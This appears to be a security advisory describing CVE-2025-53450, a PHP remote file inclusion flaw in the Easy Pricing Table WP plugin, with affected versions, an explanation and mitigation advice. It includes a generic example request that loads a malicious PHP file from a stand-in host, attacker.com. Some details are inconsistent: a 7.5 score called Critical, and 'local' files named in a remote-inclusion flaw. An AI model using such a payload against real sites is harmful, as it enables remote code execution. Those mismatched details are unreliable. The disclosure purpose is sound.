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CVE-2025-53450: Critical PHP Remote File Inclusion Vulnerability in Pluginwale Easy Pricing Table WP

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Overview

The vulnerability, identified as CVE-2025-53450, is a critical flaw in the Pluginwale Easy Pricing Table WP, which could allow an attacker to include local files via PHP remote file inclusion. The issue arises from improper handling of the filename for include/require statement in the PHP program, making various versions of Easy Pricing Table WP susceptible. This vulnerability is of significant concern due to its potential for system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-53450
Severity: Critical (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage

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Product | Affected Versions

Pluginwale Easy Pricing Table WP | n/a – 1.1.3

How the Exploit Works

An attacker exploits this vulnerability by manipulating the filename in the include/require statement of the PHP program. This manipulation allows the attacker to remotely include a file, typically from a server they control, into the server-side script. The included file can contain malicious PHP code that can be executed on the server, leading to potential full system compromise or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:

GET /index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: vulnerablewebsite.com

In this example, the attacker is making a GET request to the vulnerable website, manipulating the ‘file’ parameter to include a PHP file from a server they control. The server then processes this malicious PHP file, leading to undesired actions such as system compromise or data leakage.

Mitigation Guidance

Users are advised to apply the vendor-provided patch immediately to mitigate this vulnerability. If the patch cannot be applied immediately, it is recommended to use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure.

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